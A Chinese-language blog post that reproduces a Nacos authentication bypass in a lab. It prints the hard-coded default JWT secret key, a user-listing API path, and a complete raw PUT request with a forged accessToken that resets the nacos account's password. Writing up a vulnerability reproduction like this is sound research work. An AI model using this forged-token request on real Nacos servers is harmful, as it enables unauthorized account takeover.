前言

早上摸鱼看看安全文章，在网上看到奇安信CERT监测到NACOS身份认证绕过漏洞，影响版本Nacos 0.1.0 ~2.2.0，掏出大宝贝进行分析

环境搭建

1、github下载链接

https://github.com/alibaba/nacos/releases

2、启动环境,访问http://your-ip:8848/nacos，默认账号密码为：nacos/nacos

./startup.sh -m standalone

漏洞分析

1、最新版修复提示

2、下载2.2.0.1与2.2.0版本进行对比，文件路径conf/application.properties

3、默认key为`SecretKey012345678901234567890123456789012345678901234567890123456789

漏洞复现

1、获取用户名，可通过历史漏洞获取，或者进行用户名猜测

/nacos/v1/auth/users?pageNo=1&pageSize=100

2、伪造accessToken

https://jwt.io/

3、直接可以修改密码

PUT /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg4NzgwNX0.cO3ELLBegJA-LsQ5rqttkbdliZp7p0Me-fw-Snqa8Gc HTTP/1.1
Host: 10.0.1.40:8848
Content-Length: 35
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg4NzgwNX0.cO3ELLBegJA-LsQ5rqttkbdliZp7p0Me-fw-Snqa8Gc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57
Content-Type: application/x-www-form-urlencoded
Origin: http://10.0.1.40:8848
Referer: http://10.0.1.40:8848/nacos/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=3E9923AD46D812E514414C2E50F6AA9A
Connection: close

username=nacos&newPassword=12345678